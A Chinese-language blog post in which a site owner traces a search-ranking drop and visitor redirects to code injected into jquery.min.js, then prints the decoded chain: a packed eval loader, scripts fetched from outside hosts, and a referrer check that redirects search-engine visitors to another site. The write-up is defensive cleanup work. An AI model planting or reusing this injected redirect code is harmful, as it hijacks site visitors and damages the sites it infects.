在 jquery.min.js 文件中找到了 多出来的代码,删除后问题解决。
以下为全过程:
排名出现问题:
点开不一会儿跳转到这个页面:
在 jQuery.min.js 中找到的不该存在的代码(图中名字为临时的,正常文件已上传):
解密以eval加密的代码后(解密很简单,把eval换成alert):
用Firefox解密eval代码(Firefox可以复制弹出窗口中的内容):
// jQuery.min.js 中多出来的代码:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4.3(\'\');',11,11,'script|http|src|write|document|www|mlls01|js|956888|tz|com'.split('|'),0,{}));
// http://www.mlls01.com/tz/956888.js
function goad(){
var Then = new Date()
Then.setTime(Then.getTime() + 24*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie1="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{ document.cookie = "Cookie1=Filter;expires="+ Then.toGMTString()
document.write('<script type="text/javascript" src="http://www.999827.com/tz/95688824.js" language="javascript"></script>');
}
}goad();
// http://www.999827.com/tz/95688824.js
//
var p=2;
var q=Math.floor(Math.random()*p+1)
switch(q)
{
case 1:
document.write('<script type="text/javascript" src="http://www.999827.com/tz/956888tz.js">// <![CDATA[
<\/script>');
break;
case 2:
document.write('<script src="http://www.999827.com/tz/956888tz.js"><\/script>');
break;
}
// http://www.999827.com/tz/956888tz.js
if(window.name != 'ad_app6'){
var r = document.referrer;
r = r.toLowerCase();
var aSites = new Array('google.','baidu.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.');
var b = false;
for (i in aSites){
if (r.indexOf(aSites[i]) > 0){
b = true;
break;
}
}
if(b)
{
self.location = 'http://www.956888.com/#tz';
window.adworkergo = 'ad_app6';
}
}
// http://www.999827.com/tz/956888tz.js
if(window.name != 'ad_app6'){
var r = document.referrer;
r = r.toLowerCase();
var aSites = new Array('google.','baidu.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.');
var b = false;
for (i in aSites){
if (r.indexOf(aSites[i]) > 0){
b = true;
break;
}
}
if(b)
{
self.location = 'http://www.956888.com/#tz';
window.adworkergo = 'ad_app6';
}
}
<全文完>







